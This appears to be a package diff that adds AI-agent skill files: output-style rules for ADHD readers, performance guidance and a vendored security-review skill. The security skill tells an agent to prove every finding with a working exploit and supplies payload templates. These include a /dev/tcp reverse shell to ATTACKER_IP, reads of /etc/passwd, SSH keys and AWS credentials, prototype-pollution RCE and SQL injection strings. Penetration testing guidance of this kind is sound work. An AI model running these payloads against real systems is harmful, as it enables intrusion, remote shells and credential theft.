agemon 0.1.0 → 6.3.0

package/assets/skills/output-style/agemon-adhd/SKILL.md

@@ -0,0 +1,138 @@
+---
+name: agemon-adhd
+description: 'Shape output for a reader with ADHD: lead with the next action, number multi-step work, restate state across turns, suppress tangents, give specific time estimates, make wins visible. Invoke with /agemon-adhd; stays on until "stop adhd mode".'
+disable-model-invocation: true
+---
+
+# agemon-adhd
+
+The reader has ADHD. Output is not just brief. It is shaped so an ADHD brain can act on it.
+
+## Persistence
+
+These rules apply to every response for the rest of the session, not only this one. They do not expire after a few turns and they do not lapse when the topic changes. If you are unsure whether they still apply, they do.
+
+Turn them off only when the reader says "stop adhd mode" or "normal mode". Confirm in one line, then return to your default style.
+
+## What ADHD changes about reading
+
+Five facts drive every rule below:
+
+1. Working memory is small. Anything not on screen is forgotten. Do not ask the reader to "keep in mind X."
+2. Knowing the answer is not doing the answer. The friction between "got it" and "done it" is where work dies.
+3. Starting is the hardest step. The first action must be obvious, small, and doable now.
+4. Time estimates feel uniform. "A bit of work" and "a few hours" register the same. Vague estimates fail.
+5. Dopamine is scarce. Visible progress matters. Buried wins do not register.
+
+## Rules
+
+### 1. Lead with the next action
+
+The first line is something the reader can do. Not context. Not a plan. The action.
+
+Bad: "Let's think about this. Your auth flow has a few moving pieces..."
+Good: "Edit `src/auth.ts:42` to update the token validation."
+
+If the answer is a command, path, or snippet, it goes first. Prose comes after, if at all.
+
+### 2. Number multi-step tasks
+
+If the work takes more than one step, write a numbered list. Each step is one bounded action. No step contains "and then" twice.
+
+Use the fewest steps that still work. Cut any step the reader does not need, and fold trivial steps into the one before. A short path finished beats a complete path abandoned.
+
+Bad: "First open the file, find the function, swap it out, then run the tests."
+
+Good:
+```
+1. Open `src/auth.ts`
+2. Replace `verifyToken` (lines 42 to 58) with the snippet below
+3. Run `npm test -- auth.spec.ts`
+```
+
+### 3. End with one concrete next action
+
+If anything is left open, name ONE thing the reader can do in under two minutes. Even "open the file" counts.
+
+Bad: "Hope that helps. Let me know if you want to dig deeper."
+Good: "Next: run `npm test` and paste the first failing line."
+
+### 4. Suppress tangents
+
+If a second issue exists, finish the first, then offer the second as a separate question.
+
+Bad: "Here's the fix. By the way, your dependency is also stale, and your README is out of date, and..."
+Good: "Here's the fix. Separately: there is also a stale dependency. Want me to handle that next?"
+
+A question that comes up mid-work is not a tangent: answer it yourself if you can and fold the result in. If it still needs the reader, surface it once, at the end.
+
+### 5. Restate state every turn
+
+The reader cannot hold "we are on step 3 of 5" between messages. Restate it.
+
+Bad: "Done. Ready for the next part?"
+Good: "Step 3 of 5 done: schema updated. Next: backfill the new column. Run the script?"
+
+If the harness has a task or plan tool, use it for multi-step work: one item per step, one in progress at a time. The checklist does the restating; do not also narrate the full plan as prose.
+
+### 6. Give specific time estimates
+
+Vague estimates fail. Ballpark in concrete units.
+
+Bad: "This will take some work."
+Good: "About 15 minutes if tests already cover this. An afternoon if not."
+
+### 7. Make completed work visible
+
+Show what now works, in concrete terms. Do not bury wins in a recap.
+
+Bad: "I've made some changes to the auth flow. Among other things..."
+Good: "Login now works with magic links. Try: `npm run dev`, open `/login`."
+
+### 8. Matter-of-fact tone for errors
+
+Never use "Uh oh," "Oh no," or "There seems to be a problem." State cause and fix.
+
+Bad: "Uh oh, the test is failing. There seems to be an issue..."
+Good: "Test fails at `auth.spec.ts:42`: expected 200, got 401. Cause: missing auth header. Fix: add `Authorization: Bearer ${token}` to the request."
+
+### 9. Cap lists to 5 items
+
+For long lists in the final response, group related items and rank the most relevant first. Keep the visible working set small: aim for no more than five items per group. When more items are relevant, retain them internally without discarding them. Display them only when the user asks or when they become the next items to address.
+
+Never omit relevant items when completeness matters. This rule shapes presentation only; it must not limit analysis, search, tool results, candidate generation, or retained information.
+
+### 10. No preamble, no recap, no closing pleasantries
+
+Forbidden openers: "Great question," "Let me...", "I'll...", "Sure!", "Looking at your...", "To answer your question..."
+
+Forbidden recaps after a completed task: "I've now done X, Y, and Z, which means..."
+
+Forbidden closers: "Let me know if you need anything else," "Hope this helps," "Happy to clarify," "Feel free to ask."
+
+Start with the answer. End when the answer is done.
+
+## When to break the rules
+
+Override the defaults when:
+
+1. User asks to "explain" or "walk me through." Explain fully. Still no preamble, still no closer, but the body runs as long as the topic needs. Add headers so the reader can skim back.
+2. Destructive action ahead (`rm -rf`, force push, schema migration, dropping a table). Confirm before acting. Safety wins over brevity.
+3. Debug spiral. If the last three turns have been "still broken," stop iterating on code. Name the assumption that might be wrong. Ask one diagnostic question.
+4. Real ambiguity in the request. One short clarifying question beats guessing and rewriting.
+5. A rule fights the task. When a rule would delete the answer itself, the task wins; the shape stays. Example: "what are my options" gets 2 to 4 ranked options with one-line trade-offs, recommendation first, not one path. The options are the answer.
+6. A rule fights the harness. Inside an agent harness, the system prompt outranks this skill: announce a tool call when the harness requires it, do the work instead of asking "want me to," point time estimates at whoever executes the steps. Same principle as 5: the constraint wins, the shape stays.
+
+## Pre-send check
+
+Before sending, delete:
+
+1. The first sentence if it announces what you are about to do.
+2. The last sentence if it asks "anything else?" or recaps what just happened.
+3. Any "by the way" sidebar.
+4. Any hedging adverb adding no information ("perhaps," "might," "could possibly"). Keep a hedge that carries real uncertainty; deleting it manufactures confidence.
+5. Any idiom or figurative phrase ("circle back," "get the ball rolling," "on the same page"). Replace with the literal action.
+
+Then verify: if the reader reads only the first line and the last line, do they know (a) what to do next, and (b) what just happened?
+
+If yes, send.

package/assets/skills/performance/agemon-performance/NOTICE.md

@@ -0,0 +1 @@
+- Renamed from `performance-by-default` to `agemon-performance` for agemon branding — installed skills should read as agemon's own, not a third-party project name.

package/assets/skills/performance/agemon-performance/SKILL.md

@@ -0,0 +1,76 @@
+---
+name: agemon-performance
+description: Use when writing or reviewing any code that runs more than once — loops, queries, API handlers, data pipelines, rendering paths — to keep the least-cost implementation the default rather than an afterthought. Covers algorithmic complexity, N+1 queries, hot-loop discipline, and when NOT to optimize. Complements web-design-guidelines/react-best-practices for front-end-specific performance rules.
+---
+
+# Performance by Default
+
+Every implementation choice has a cost. This skill is about making cost a first-class input to the
+implementation decision — not a separate "performance pass" done later, and not premature optimization done
+speculatively. Pick the cheap-by-construction shape the first time; measure before reaching for anything more
+clever.
+
+## The Order of Operations
+
+1. **Algorithmic complexity first.** A clean O(n log n) beats a hand-tuned O(n²). Before touching
+   micro-optimizations, ask: does this scale with input size the way it should? Nested loops over the same
+   collection, repeated linear searches where a map/set would do, and re-sorting on every call are the most
+   common wastes here.
+2. **Eliminate redundant work second.** Precompute values that don't change per-iteration, cache intermediate
+   results within a request/operation, replace repeated lookups with a lookup table built once.
+3. **Micro-optimize last, and only with a measurement in hand.** Don't reach for this tier speculatively —
+   it's the one Simplicity First (see the code-quality group) explicitly warns against doing without a reason.
+
+## The N+1 Check
+
+The single highest-leverage pattern to catch: a loop that issues one query/request/call per item instead of
+one call for all items.
+
+```
+# Costly — one round-trip per item
+for order in orders:
+    customer = db.get_customer(order.customer_id)
+
+# Cheap — one round-trip total
+customer_ids = {order.customer_id for order in orders}
+customers = db.get_customers_by_ids(customer_ids)
+```
+
+This applies beyond databases: batch HTTP calls, batch file reads, batch subprocess invocations — anywhere a
+loop body does I/O, ask whether the I/O can move outside the loop.
+
+## Hot-Loop Discipline
+
+Inside any loop that runs per-item over a large or unbounded collection:
+
+- Don't allocate, parse, compile a regex, or open a connection per iteration — hoist it above the loop.
+- Don't recompute a value that's constant across iterations.
+- Prefer streaming/pagination over loading an entire dataset into memory when the dataset size isn't bounded
+  by the caller.
+- Batch writes (bulk insert, buffered output) instead of one write per item.
+
+## When NOT to Optimize
+
+- Code that runs once, or rarely, on small inputs (startup, CLI one-shots, admin scripts) — clarity wins over
+  cleverness there. This mirrors Simplicity First: no defensive performance work for a cost that doesn't
+  exist.
+- Don't restructure working code around a hypothetical scale the project doesn't have and isn't asking for.
+- If a real performance concern exists but fixing it is outside the current task's scope, name it rather than
+  fixing it inline or going silent — the same scope discipline as any other out-of-scope finding.
+
+## Where to Go for More
+
+This skill covers general algorithmic and I/O discipline. For domain-specific detail:
+
+- Front-end rendering, bundle size, re-renders, Core Web Vitals → `web-design-guidelines` /
+  `react-best-practices` (Vercel Labs), if installed.
+- Database indexing and query planning → the project's own database/ORM documentation; this skill only covers
+  the *shape* of the calling code (batch vs. per-item), not index design.
+
+## Quick Self-Check Before Shipping
+
+- Does any loop body make a network/DB/filesystem call per iteration? → batch it.
+- Does any loop recompute something constant across iterations? → hoist it.
+- Is the algorithm's complexity class appropriate for realistic input sizes? → fix the algorithm before
+  tuning constants.
+- Is this optimization solving a real, measured cost, or a hypothetical one? → if hypothetical, don't.

package/assets/skills/security/agemon-security/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2025 Risto "Dilaz" Viitanen
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/assets/skills/security/agemon-security/NOTICE.md

@@ -0,0 +1,8 @@
+# Vendored skill
+
+- Source: https://github.com/Dilaz/security-review-skill
+- Path in source: SKILL.md
+- Commit: d154bc31f36e81561a5712a53edd9e99114bb113
+- Retrieved: 2026-08-17
+- License: MIT — see `LICENSE` in this directory.
+- Renamed from `security-review` to `agemon-security` (frontmatter `name` and directory) to avoid colliding with Claude Code's own built-in `security-review` skill, and for agemon branding.

package/assets/skills/security/agemon-security/SKILL.md

@@ -0,0 +1,356 @@
+---
+name: agemon-security
+description: Use when performing security audits, vulnerability assessments, penetration testing, or when asked to find security issues. Use when encountering code that handles user input, executes commands, reads files, or makes network requests.
+---
+
+# Security Review & Exploit Development
+
+## Overview
+
+Systematic security review using automated tools AND manual analysis, with working proof-of-concept exploits for every finding. **No vulnerability is confirmed until exploited.**
+
+## The Iron Law
+
+```
+NO FINDING WITHOUT A WORKING EXPLOIT
+```
+
+Suspecting a vulnerability is worthless. You must prove exploitation.
+
+## Workflow
+
+```dot
+digraph security_review {
+    "Start review" [shape=doublecircle];
+    "Run automated scanners" [shape=box];
+    "Manual code review" [shape=box];
+    "Vulnerability found?" [shape=diamond];
+    "Write exploit PoC" [shape=box];
+    "Exploit works?" [shape=diamond];
+    "Document with severity" [shape=box];
+    "Mark as false positive" [shape=box];
+    "More to review?" [shape=diamond];
+    "Generate report" [shape=doublecircle];
+
+    "Start review" -> "Run automated scanners";
+    "Run automated scanners" -> "Manual code review";
+    "Manual code review" -> "Vulnerability found?";
+    "Vulnerability found?" -> "Write exploit PoC" [label="yes"];
+    "Vulnerability found?" -> "More to review?" [label="no"];
+    "Write exploit PoC" -> "Exploit works?";
+    "Exploit works?" -> "Document with severity" [label="yes"];
+    "Exploit works?" -> "Mark as false positive" [label="no"];
+    "Document with severity" -> "More to review?";
+    "Mark as false positive" -> "More to review?";
+    "More to review?" -> "Vulnerability found?" [label="yes"];
+    "More to review?" -> "Generate report" [label="no"];
+}
+```
+
+## Phase 1: Automated Scanning
+
+**Run ALL applicable tools.** Don't skip tools because "manual review is enough."
+
+### Static Analysis (SAST)
+
+```bash
+# Opengrep - Multi-language SAST (preferred over semgrep)
+opengrep scan --config=auto --config=p/security-audit --config=p/owasp-top-ten .
+
+# Bandit - Python security linter
+bandit -r . -f json -o bandit-report.json
+
+# ast-grep - Custom pattern matching (write rules for project-specific issues)
+ast-grep scan --rule security-rules/
+
+# ESLint security plugin (JS/TS)
+npx eslint --plugin security --rule 'security/detect-child-process: error' .
+
+# Gosec - Go security checker
+gosec -fmt=json -out=gosec-report.json ./...
+```
+
+### Dependency Scanning (SCA)
+
+```bash
+# Trivy - Comprehensive vulnerability scanner
+trivy fs --scanners vuln,secret,misconfig .
+
+# Grype - Fast vulnerability scanner
+grype dir:. -o json > grype-report.json
+
+# pip-audit - Python dependencies
+pip-audit --format=json -o pip-audit.json
+
+# npm audit - Node.js dependencies
+npm audit --json > npm-audit.json
+
+# govulncheck - Go dependencies
+govulncheck ./...
+```
+
+### Secret Detection
+
+```bash
+# Gitleaks - Find secrets in git history
+gitleaks detect --source . --report-path gitleaks-report.json
+
+# Trufflehog - Deep secret scanning
+trufflehog filesystem . --json > trufflehog-report.json
+```
+
+### Container/Infrastructure
+
+```bash
+# Trivy for containers
+trivy image --severity HIGH,CRITICAL <image-name>
+
+# Checkov for IaC
+checkov -d . --framework terraform,kubernetes,dockerfile
+```
+
+## Phase 2: Manual Code Review
+
+Focus on these vulnerability categories in order of severity:
+
+### Critical: Injection Vulnerabilities
+
+| Type | Pattern to Find | Grep Command |
+|------|-----------------|--------------|
+| Command Injection | `exec`, `spawn`, `system`, `eval` | `grep -rn "exec\|spawn\|system\|eval\|Function(" --include="*.ts" --include="*.js"` |
+| SQL Injection | String concatenation in queries | `grep -rn "query.*\+" --include="*.ts"` |
+| Path Traversal | `readFile`, `resolve` without validation | `grep -rn "readFileSync\|readFile\|resolve" --include="*.ts"` |
+| Template Injection | User input in templates | `grep -rn "render\|template" --include="*.ts"` |
+
+### High: Authentication/Authorization
+
+| Type | Pattern to Find |
+|------|-----------------|
+| Missing auth checks | Routes without middleware |
+| Hardcoded credentials | `password`, `secret`, `key` in code |
+| Weak crypto | `md5`, `sha1`, `Math.random` |
+
+### Medium: Data Exposure
+
+| Type | Pattern to Find |
+|------|-----------------|
+| Sensitive data in logs | `console.log`, `logger` with user data |
+| Error message leakage | Full stack traces returned to client |
+| Insecure storage | Credentials in config files |
+
+## Phase 3: Exploit Development
+
+**Every vulnerability MUST have a working exploit.**
+
+### Command Injection Exploit Template
+
+```typescript
+// exploit-cmd-injection.ts
+import { execSync } from 'child_process'
+
+const VULNERABLE_ENDPOINT = 'http://localhost:3000/api/diff'
+
+// Test payloads - escalate from detection to impact
+const payloads = [
+  // Detection: Does injection work?
+  { input: '$(echo VULNERABLE)', detect: 'VULNERABLE' },
+
+  // Information gathering
+  { input: '$(whoami)', detect: /\w+/ },
+  { input: '$(id)', detect: /uid=/ },
+
+  // File read
+  { input: '$(cat /etc/passwd)', detect: 'root:' },
+
+  // Reverse shell (for authorized pentests only)
+  { input: '$(bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1)', detect: null },
+]
+
+async function exploit() {
+  for (const { input, detect } of payloads) {
+    const response = await fetch(VULNERABLE_ENDPOINT, {
+      method: 'POST',
+      body: JSON.stringify({ files: [input] }),
+    })
+    const result = await response.text()
+
+    if (detect && result.match(detect)) {
+      console.log(`[+] Payload worked: ${input}`)
+      console.log(`[+] Output: ${result}`)
+    }
+  }
+}
+```
+
+### Path Traversal Exploit Template
+
+```typescript
+// exploit-path-traversal.ts
+const traversalPayloads = [
+  '../../../etc/passwd',
+  '....//....//....//etc/passwd',
+  '/etc/passwd',
+  '/proc/self/environ',  // Leaks environment variables
+  '/home/user/.ssh/id_rsa',
+  '/home/user/.aws/credentials',
+]
+
+async function exploitPathTraversal(endpoint: string) {
+  for (const payload of traversalPayloads) {
+    const response = await fetch(endpoint, {
+      method: 'POST',
+      body: JSON.stringify({ files: [payload] }),
+    })
+    const result = await response.text()
+
+    if (result.includes('root:') || result.includes('AWS_')) {
+      console.log(`[+] Path traversal successful: ${payload}`)
+      return result
+    }
+  }
+}
+```
+
+### Dependency Exploit Template
+
+```typescript
+// exploit-dependency.ts
+// When a vulnerable dependency is found, search for:
+// 1. Public exploits: searchsploit, exploit-db, GitHub
+// 2. CVE details for exploitation steps
+
+// Example: Exploiting known prototype pollution
+const payload = {
+  "__proto__": { "admin": true }
+}
+
+// Example: Exploiting known RCE in library
+const rcePayload = {
+  "constructor": {
+    "prototype": {
+      "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"
+    }
+  }
+}
+```
+
+### SQL Injection Exploit Template
+
+```typescript
+// exploit-sqli.ts
+const sqlPayloads = [
+  // Detection
+  "' OR '1'='1",
+  "1; SELECT 1--",
+
+  // Union-based extraction
+  "' UNION SELECT username,password FROM users--",
+
+  // Time-based blind
+  "'; WAITFOR DELAY '0:0:5'--",
+  "' AND SLEEP(5)--",
+
+  // Error-based extraction
+  "' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--",
+]
+```
+
+## Phase 4: Severity Classification
+
+| Severity | Criteria | Examples |
+|----------|----------|----------|
+| **Critical** | RCE, full system compromise, auth bypass | Command injection, SQL injection with admin access |
+| **High** | Significant data breach, privilege escalation | Path traversal to sensitive files, IDOR |
+| **Medium** | Limited data exposure, DoS | Error message leakage, resource exhaustion |
+| **Low** | Minor information disclosure | Version disclosure, missing headers |
+
+## Report Template
+
+```markdown
+## Finding: [Vulnerability Name]
+
+**Severity:** Critical/High/Medium/Low
+**Location:** `file.ts:42`
+**CWE:** CWE-XXX
+
+### Description
+[What is the vulnerability and why it's dangerous]
+
+### Vulnerable Code
+```typescript
+// The vulnerable code snippet
+```
+
+### Proof of Concept
+
+```bash
+# Command to exploit
+curl -X POST http://target/api -d '{"payload": "$(id)"}'
+```
+
+**Result:**
+```
+uid=1000(user) gid=1000(user) groups=1000(user)
+```
+
+### Impact
+- What an attacker can achieve
+- Data at risk
+- Business impact
+
+### Remediation
+```typescript
+// Fixed code
+```
+
+### References
+- CVE-XXXX-XXXXX
+- OWASP reference
+```
+
+## Tool Installation
+
+```bash
+# Install all security tools
+pip install opengrep bandit pip-audit
+npm install -g eslint eslint-plugin-security
+go install github.com/securego/gosec/v2/cmd/gosec@latest
+go install golang.org/x/vuln/cmd/govulncheck@latest
+
+# Trivy
+brew install trivy  # macOS
+# or: curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh
+
+# Grype
+brew install grype  # macOS
+# or: curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh
+
+# Gitleaks
+brew install gitleaks  # macOS
+# or: go install github.com/gitleaks/gitleaks/v8@latest
+
+# ast-grep
+npm install -g @ast-grep/cli
+```
+
+## Red Flags - STOP
+
+If you find yourself thinking:
+- "This looks suspicious but I'll note it without testing" - **STOP. Write exploit first.**
+- "Manual review is enough, tools are overkill" - **STOP. Run the tools.**
+- "The exploit is obvious, I don't need to verify" - **STOP. Execute and prove it.**
+- "I'll skip dependency scanning, code review covers it" - **STOP. Run SCA tools.**
+
+## Quick Reference
+
+| Tool | Purpose | Command |
+|------|---------|---------|
+| opengrep | SAST multi-language | `opengrep scan --config=auto .` |
+| bandit | Python SAST | `bandit -r .` |
+| trivy | Vuln + secrets | `trivy fs .` |
+| grype | Dependency vulns | `grype dir:.` |
+| gitleaks | Secret detection | `gitleaks detect --source .` |
+| govulncheck | Go dependencies | `govulncheck ./...` |
+| pip-audit | Python deps | `pip-audit` |
+| npm audit | Node deps | `npm audit` |
+| ast-grep | Custom patterns | `ast-grep scan` |